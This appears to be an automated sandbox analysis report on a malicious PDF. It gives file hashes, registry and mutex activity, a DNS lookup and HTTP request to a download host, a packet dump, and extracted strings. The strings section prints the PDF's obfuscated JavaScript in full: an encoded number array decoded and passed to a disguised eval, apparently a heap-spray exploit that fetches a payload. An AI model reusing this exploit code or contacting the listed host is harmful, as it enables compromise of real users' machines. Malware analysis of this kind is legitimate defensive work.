Analysis Date2014-08-22 01:54:53
MD59c3558390de2ae939210d1fe28580248
SHA153d7c4e9aeeac634f06aa512ce3b318c3d005c90

Static Details:

File typePDF document, version 1.6

Runtime Details:

Screenshot

Process
↳ C:\malware.pdf

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates MutexGlobal\AcrobatViewerIsRunning
Creates MutexDBWinMutex
Winsock DNSisosihpoect.com
Winsock URLhttp://isosihpoect.com/w.php?f=9&e=3

Network Details:

DNSisosihpoect.com
Type: A
208.73.211.246
DNSisosihpoect.com
Type: A
208.73.210.219
DNSisosihpoect.com
Type: A
208.73.211.174
DNSisosihpoect.com
Type: A
208.73.211.233
DNSisosihpoect.com
Type: A
208.73.211.235
HTTP GEThttp://isosihpoect.com/w.php?f=9&e=3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Flows TCP192.168.1.1:1032 ➝ 208.73.211.246:80

Raw Pcap
0x00000000 (00000)   47455420 2f772e70 68703f66 3d392665   GET /w.php?f=9&e
0x00000010 (00016)   3d332048 5454502f 312e310d 0a416363   =3 HTTP/1.1..Acc
0x00000020 (00032)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000030 (00048)   2d456e63 6f64696e 673a2067 7a69702c   -Encoding: gzip,
0x00000040 (00064)   20646566 6c617465 0d0a5573 65722d41    deflate..User-A
0x00000050 (00080)   67656e74 3a204d6f 7a696c6c 612f342e   gent: Mozilla/4.
0x00000060 (00096)   30202863 6f6d7061 7469626c 653b204d   0 (compatible; M
0x00000070 (00112)   53494520 362e303b 2057696e 646f7773   SIE 6.0; Windows
0x00000080 (00128)   204e5420 352e313b 20535631 3b202e4e    NT 5.1; SV1; .N
0x00000090 (00144)   45542043 4c522032 2e302e35 30373237   ET CLR 2.0.50727
0x000000a0 (00160)   290d0a48 6f73743a 2069736f 73696870   )..Host: isosihp
0x000000b0 (00176)   6f656374 2e636f6d 0d0a436f 6e6e6563   oect.com..Connec
0x000000c0 (00192)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000d0 (00208)   0d0a0d0a                              ....


Strings
21 0 obj
23 0 obj
24 0 obj
25 0 obj
26 0 obj
28 0 obj
60 0 obj
7 0 obj
76 0 obj
ar='22@33@48@24@48@20@7@20@11@11@29@36@70@23@44@20@43@69@49@18@12@12@43@69@33@19@24@4@43@69@49@52@33@19@43@69@56@52@24@4@43@69@24@59@18@4@43@69@18@18@52@33@43@69@12@4@19@34@43@69@4@34@49@29@43@69@49@29@18@34@43@69@34@19@4@34@43@69@56@34@49@29@43@69@52@12@7@19@43@69@56@12@49@29@43@69@18@18@34@49@43@69@12@12@55@29@43@69@52@24@49@29@43@69@34@18@18@19@43@69@18@18@56@4@43@69@49@7@3@19@43@69@7@52@24@24@43@69@33@33@7@34@43@69@29@49@33@33@43@69@4@34@49@29@43@69@19@18@18@34@43@69@18@59@4@12@43@69@56@52@34@12@43@69@49@56@33@29@43@69@3@4@18@4@43@69@24@4@49@52@43@69@52@7@56@52@43@69@24@29@24@59@43@69@52@7@4@19@43@69@49@29@52@12@43@69@18@19@56@52@43@69@56@4@49@29@43@69@56@49@18@52@43@69@33@52@34@18@43@69@49@29@52@12@43@69@3@34@56@12@43@69@33@52@34@18@43@69@19@59@18@18@43@69@4@7@4@59@43@69@37@55@33@19@43@69@19@52@34@18@43@69@55@29@18@18@43@69@29@24@34@33@43@69@18@49@7@34@43@69@56@4@33@3@43@69@19@7@34@49@43@69@34@55@19@29@43@69@55@37@34@18@43@69@24@29@4@34@43@69@18@29@33@7@43@69@56@52@7@33@43@69@52@24@24@12@43@69@52@24@49@29@43@69@34@18@3@4@43@69@12@12@55@55@43@69@34@19@49@29@43@69@49@55@4@29@43@69@24@19@4@12@43@69@52@4@33@33@43@69@34@19@3@4@43@69@55@49@49@29@43@69@55@55@34@18@43@69@34@4@49@29@43@69@34@18@49@29@43@69@37@29@19@52@43@69@52@59@52@24@43@69@24@29@19@18@43@69@37@55@52@18@43@69@12@49@49@29@43@69@49@34@3@34@43@69@34@19@56@55@43@69@56@4@18@18@43@69@59@12@34@18@43@69@33@18@24@29@43@69@12@49@49@29@43@69@49@29@34@49@43@69@12@37@33@56@43@69@52@59@34@52@43@69@59@49@24@49@43@69@33@33@33@33@43@69@24@3@33@33@43@69@24@49@33@59@43@69@34@34@34@34@43@69@34@34@34@34@43@69@52@34@52@49@43@69@4@34@12@37@43@69@33@33@12@49@43@69@34@34@34@34@43@69@52@34@34@34@43@69@19@34@49@18@43@69@52@34@7@59@43@69@49@29@52@52@43@69@49@29@24@19@43@69@7@34@52@24@43@69@19@18@49@18@43@69@33@33@34@52@43@69@12@49@24@18@43@69@12@24@12@33@43@69@34@34@34@34@43@69@56@52@12@49@43@69@12@19@56@3@43@69@52@4@12@55@43@69@7@12@33@33@43@69@19@4@49@18@43@69@49@29@34@49@43@69@24@49@24@49@43@69@33@33@12@7@43@69@33@33@33@33@43@69@34@3@24@29@43@69@56@3@24@29@43@69@24@19@49@7@43@69@34@7@34@4@43@69@34@34@34@34@43@69@52@19@49@55@43@69@34@19@3@4@43@69@34@4@19@56@43@69@56@3@3@4@43@69@12@56@12@52@43@69@19@56@56@18@43@69@3@4@4@4@43@69@56@12@34@4@43@69@18@18@56@3@43@69@19@56@18@3@43@69@3@4@4@4@43@69@3@34@34@49@43@69@56@18@3@55@43@69@52@18@3@34@43@69@33@49@12@49@43@69@34@34@34@34@43@69@33@33@34@34@43@69@34@19@52@12@43@69@24@49@49@29@43@69@19@59@18@18@43@69@19@56@52@7@43@69@7@55@4@4@43@69@56@56@34@34@43@69@12@3@56@34@43@69@19@56@56@4@43@69@7@55@4@4@43@69@3@24@34@52@43@69@12@19@12@4@43@69@19@12@12@19@43@69@7@55@4@4@43@69@34@34@34@59@43@69@49@37@52@59@43@69@34@4@19@7@43@69@49@49@18@34@43@69@7@55@4@4@43@69@4@7@34@4@43@69@12@37@52@7@43@69@12@37@34@34@43@69@52@18@34@34@43@69@12@37@52@56@43@69@33@33@34@34@43@69@7@4@52@12@43@69@19@34@49@52@43@69@7@12@56@52@43@69@34@34@12@37@43@69@33@33@52@18@43@69@34@4@52@12@43@69@34@34@12@37@43@69@24@29@49@18@43@69@52@18@34@19@43@69@52@12@33@33@43@69@49@18@34@4@43@69@34@19@19@18@43@69@34@3@24@29@43@69@7@18@24@29@43@69@49@34@4@56@43@69@34@34@18@33@43@69@33@37@56@52@43@69@49@34@4@56@43@69@34@34@18@33@43@69@19@4@56@52@43@69@34@34@12@37@43@69@33@24@12@37@43@69@52@12@33@33@43@69@24@49@34@49@43@69@33@24@59@19@43@69@33@33@33@33@43@69@4@24@49@24@43@69@24@19@34@24@43@69@33@24@59@49@43@69@34@24@49@37@43@69@12@33@49@59@43@69@29@55@34@7@43@69@19@37@18@18@43@69@52@29@49@37@43@69@19@12@7@29@43@69@56@59@4@12@43@69@7@37@18@12@43@69@56@34@3@33@43@69@56@4@12@49@43@69@56@34@56@4@43@69@3@33@18@37@43@69@12@59@3@33@43@69@12@33@56@18@43@69@12@59@56@18@43@69@56@34@12@49@43@69@12@52@12@33@43@69@56@4@12@18@43@69@12@18@3@24@43@69@12@55@12@33@43@69@56@56@3@33@43@69@56@34@3@24@43@69@56@34@12@49@43@69@12@12@18@33@43@69@18@59@18@55@43@69@12@52@3@12@43@69@18@18@18@55@43@69@34@34@34@34@20@32@33@69@60@19@57@22@10@60@0@24@35@73@5@48@5@37@74@75@2@11@71@72@51@22@17@24@48@5@37@45@17@24@60@23@57@51@50@3@13@75@2@11@71@5@37@31@44@5@37@32@61@5@37@44@5@37@45@70@69@29@70@57@5@22@60@23@48@34@74@75@2@62@3@11@32@5@24@57@69@5@60@0@5@37@32@61@0@33@69@60@19@57@22@10@60@0@29@38@48@11@71@73@37@5@0@55@25@23@44@60@24@72@0@67@5@5@37@2@48@11@32@73@37@5@0@73@72@44@34@38@34@19@34@19@34@19@34@19@32@73@37@5@0@37@55@55@5@44@34@38@4@34@34@34@34@34@32@73@37@5@0@53@37@2@17@10@37@55@44@69@60@24@70@19@37@53@24@48@29@36@70@23@11@32@73@37@5@0@70@19@27@17@24@60@44@53@37@2@17@10@37@55@45@17@24@60@23@57@51@50@3@32@73@37@5@0@75@2@44@37@55@55@5@39@48@70@19@27@17@24@60@31@34@38@18@49@11@32@73@37@5@0@2@37@5@70@53@44@69@60@24@70@19@37@53@24@48@64@43@69@59@34@59@34@43@69@59@34@59@34@64@11@32@2@37@5@70@53@44@24@35@73@5@48@2@37@5@70@53@74@75@2@11@32@73@37@5@0@19@10@69@60@57@3@44@48@73@72@39@34@38@4@34@34@34@34@34@11@62@37@55@55@5@32@33@10@5@48@73@37@5@0@19@10@69@60@57@44@34@32@19@10@69@60@57@13@19@10@69@60@57@3@32@19@10@69@60@57@31@31@11@71@55@25@23@46@19@10@69@60@57@58@44@2@37@5@70@53@31@53@37@2@17@10@37@55@32@61@0@73@37@5@0@10@73@24@5@33@17@10@72@44@69@60@24@70@19@37@53@24@48@64@43@69@34@19@34@19@43@69@34@19@34@19@64@11@32@72@51@22@17@24@48@10@73@24@5@33@17@10@72@45@17@24@60@23@57@51@13@4@4@59@52@3@11@71@10@73@24@5@33@17@10@72@31@44@10@73@24@5@33@17@10@72@32@61@0@57@51@22@70@45@19@10@17@17@37@29@26@57@10@5@24@44@16@10@17@17@37@29@45@19@10@17@17@24@19@57@30@68@37@22@17@66@60@33@10@48@71@70@69@29@36@40@64@64@74@68@70@23@40@10@73@24@5@33@17@10@72@61@11@32@61@0@33@69@60@19@57@22@10@60@0@53@5@22@60@57@33@48@11@71@60@10@53@44@69@60@24@70@19@37@53@24@48@64@43@69@34@67@34@67@43@69@34@67@34@67@43@69@34@67@34@67@43@69@34@67@34@67@64@11@32@73@37@5@0@53@37@2@17@10@37@55@44@69@60@24@70@19@37@53@24@48@29@36@70@23@11@32@51@24@37@53@29@17@10@19@25@44@60@10@53@31@53@37@2@17@10@37@55@32@29@22@23@29@17@10@19@25@44@69@60@24@70@19@37@53@24@48@64@43@69@34@67@34@67@43@69@34@67@34@67@64@11@32@51@24@37@55@24@5@70@22@35@24@44@3@34@32@70@53@5@37@2@44@51@24@37@55@24@5@70@22@35@24@31@51@24@37@53@29@17@10@19@25@45@17@24@60@23@57@51@32@72@51@22@17@24@48@29@22@23@29@17@10@19@25@45@17@24@60@23@57@51@13@70@53@5@37@2@11@71@29@22@23@29@17@10@19@25@31@44@29@22@23@29@17@10@19@25@32@61@0@33@22@17@17@29@17@10@19@25@44@29@22@23@29@17@10@19@25@45@70@69@29@70@57@5@22@60@23@48@34@74@70@53@5@37@2@11@32@29@17@10@19@25@44@29@22@23@29@17@10@19@25@45@70@69@29@70@57@5@22@60@23@48@34@74@29@22@23@29@17@10@19@25@45@17@24@60@23@57@51@39@70@53@5@37@2@11@32@72@51@22@17@24@48@29@17@10@19@25@45@17@24@60@23@57@51@31@70@53@5@37@2@13@34@38@4@34@34@34@34@11@71@29@17@10@19@25@44@29@17@10@19@25@31@29@17@10@19@25@31@33@22@17@17@29@17@10@19@25@32@61@0@68@24@68@44@60@24@72@0@67@5@5@37@2@48@11@32@33@10@5@48@22@44@34@32@22@13@7@4@34@34@32@22@31@31@11@71@68@24@68@46@22@58@44@29@17@10@19@25@31@51@24@37@53@29@17@10@19@25@32@61@0@73@37@5@0@60@69@68@44@7@3@59@59@59@59@59@59@59@59@59@59@59@59@59@59@59@59@59@59@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@32@69@57@22@17@45@53@5@22@60@57@33@48@64@43@4@52@34@34@34@33@64@74@60@69@68@11@32@61@0@33@69@60@19@57@22@10@60@0@23@24@57@22@19@10@60@48@11@71@73@37@5@0@37@5@5@2@44@60@24@72@0@67@5@5@37@2@48@11@32@22@33@48@37@53@53@45@55@10@19@45@16@10@17@17@37@29@45@23@24@57@66@19@10@60@11@71@73@37@5@0@53@37@2@17@10@37@55@44@69@60@24@70@19@37@53@24@48@29@36@70@23@11@32@73@37@5@0@51@14@75@52@34@34@16@28@44@53@37@2@17@10@37@55@45@17@24@60@23@57@51@50@3@32@73@37@5@0@75@2@44@34@38@4@34@34@34@34@34@39@48@51@14@75@52@34@34@16@28@31@34@38@18@49@11@32@73@37@5@0@2@37@5@70@53@44@69@60@24@70@19@37@53@24@48@64@43@69@59@34@59@34@43@69@59@34@59@34@64@11@32@2@37@5@70@53@44@24@35@73@5@48@2@37@5@70@53@74@75@2@11@32@73@37@5@0@53@52@67@36@65@12@52@33@44@48@34@38@34@19@34@19@34@19@34@19@39@34@38@4@34@34@34@34@34@11@62@34@38@4@34@34@34@34@34@32@33@10@5@48@73@37@5@0@73@75@19@6@1@59@12@2@44@34@32@73@75@19@6@1@59@12@2@13@53@52@67@36@65@12@52@33@32@73@75@19@6@1@59@12@2@31@31@11@71@37@5@5@2@46@73@75@19@6@1@59@12@2@58@44@2@37@5@70@53@31@53@37@2@17@10@37@55@32@61@0@73@37@5@0@57@42@63@51@28@29@9@72@44@69@60@24@70@19@37@53@24@48@64@43@34@59@64@11@32@72@51@22@17@24@48@57@42@63@51@28@29@9@72@45@17@24@60@23@57@51@13@34@38@4@34@34@34@11@71@57@42@63@51@28@29@9@72@31@44@57@42@63@51@28@29@9@72@32@61@0@57@42@63@51@28@29@9@72@44@64@28@45@64@31@57@42@63@51@28@29@9@72@32@37@53@53@45@55@10@19@45@16@10@17@17@37@29@45@23@24@57@66@19@10@60@48@57@42@63@51@28@29@9@72@11@32@61@61@0@37@15@17@69@23@22@60@70@44@37@53@53@45@53@17@69@23@66@60@70@32@73@37@5@0@70@73@44@53@37@5@70@24@66@60@57@48@37@53@53@45@73@22@24@72@24@5@47@24@5@70@22@10@60@45@57@10@26@57@5@22@60@23@48@11@45@19@51@37@5@67@57@48@34@11@11@32@33@10@5@48@73@37@5@0@22@44@34@32@22@13@37@15@17@69@23@22@60@70@45@17@24@60@23@57@51@32@22@31@31@11@71@22@33@48@37@15@17@69@23@22@60@70@46@22@58@45@60@37@68@24@44@44@20@30@26@19@5@22@53@57@20@11@71@73@37@5@0@17@73@44@37@15@17@69@23@22@60@70@46@22@58@45@73@24@5@70@22@10@60@32@61@61@0@22@33@48@48@17@73@44@44@59@11@54@54@48@48@70@73@44@44@49@11@41@41@48@17@73@13@44@49@45@7@3@11@11@11@71@23@24@57@22@19@10@60@48@11@32@61@24@17@70@24@0@22@33@48@17@73@44@44@56@45@7@11@71@53@5@22@60@57@33@48@11@32@61@24@17@70@24@0@22@33@48@48@48@70@73@44@44@12@11@54@54@48@70@73@44@44@56@11@11@41@41@48@17@73@13@56@45@7@7@11@11@71@29@38@48@11@32@61@24@17@70@24@0@22@33@48@48@17@73@8@44@59@45@7@11@54@54@48@17@73@13@44@59@45@3@11@54@54@48@17@73@8@44@49@45@7@18@11@54@54@48@17@73@13@44@49@45@7@56@11@11@71@33@69@60@19@57@22@10@60@0@37@48@11@71@69@57@22@17@45@53@5@22@60@57@55@48@20@53@21@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@7@0@40@0@2@2@2@2@7@7@7@20@74@60@24@72@0@1@37@57@24@48@11@11@32@61@73@37@5@0@51@44@37@53@53@45@53@17@69@23@66@60@70@32@33@10@5@48@73@37@5@0@33@44@34@32@33@13@51@45@17@24@60@23@57@51@32@33@31@31@11@71@22@33@48@51@46@33@58@45@60@37@68@24@44@44@20@30@26@19@5@22@53@57@20@11@71@73@37@5@0@22@44@51@46@33@58@45@73@24@5@70@22@10@60@32@61@61@0@22@33@48@48@22@8@49@45@7@3@11@41@41@48@22@13@49@45@3@11@11@71@19@44@60@24@72@0@67@5@5@37@2@48@11@32@73@37@5@0@55@44@69@60@24@70@19@37@53@24@48@20@43@69@59@34@59@34@43@69@59@34@59@34@20@11@32@73@37@5@0@24@44@69@60@24@70@19@37@53@24@48@29@36@70@23@11@32@72@51@22@17@24@48@55@45@17@24@60@23@57@51@13@44@34@38@49@34@34@34@11@71@55@31@44@55@32@61@55@44@55@45@70@69@29@70@57@5@48@34@74@34@38@49@34@34@34@39@24@45@17@24@60@23@57@51@11@32@33@10@5@48@33@44@34@32@33@13@3@59@34@34@32@33@31@31@11@71@19@46@33@58@44@55@31@24@32@61@37@48@11@32@37@48@11@32@57@5@2@71@57@51@22@70@45@68@24@55@22@37@45@60@24@72@15@17@37@2@24@5@48@60@69@17@17@11@32@61@19@37@57@19@51@48@24@11@71@61@37@48@11@32@61@61';
ar=ar.split\('@'\);
cc={q:' Dy24rQ1>Go\)6<WPCl3c"@igekS_NbE+;f0zjax-:&U%=.[V\(8*h5p|d7t]9n}/M"KIAmus{wv,q'}.q;
<</Count 1/Type/Pages/Kids[28 0 R]>>
endobj
endstream
e=t['indexOf'];
for\(i=0;i<ar.length;i++\){
<</JavaScript 24 0 R/AP 8 0 R>>
<</Length 1108/Filter[/FlateDecode]>>stream
<</Length 539/Filter/FlateDecode/Type/Contents>>stream
m=1-1;
<</Names[123 0 R 76 0 R]>>
<</Names 23 0 R/AcroForm 22 0 R/Pages 7 0 R/OCProperties<</D<</RBGroups[]>>>>/StructTreeRoot 11 0 R/Type/Catalog>>
<</Parent 7 0 R/Contents 60 0 R/Rotate 90/MediaBox[0 0 12 92]/Resources<</XObject<</Im0 69 0 R>>/ColorSpace<</CS0 59 0 R>>/Font<</TT0 61 0 R>>/Properties/ExtGState>>/Type/Page>>
%PDF-1.6
q=x[0]+'val';
/Root 21 0 R>>
s[i]=n[ar[i]];
<</Size 155
<</Size 155/Prev 75626/XRefStm 416/Root 21 0 R>>
<</S/JavaScript/JS(
<</S/JavaScript/JS 26 0 R>>
s=new Array\(\);
ss='split';
startxref
t='214124';
trailer
w=e\(12\)[q];
w\(s.join\(''\)\);
x='en634b62352v';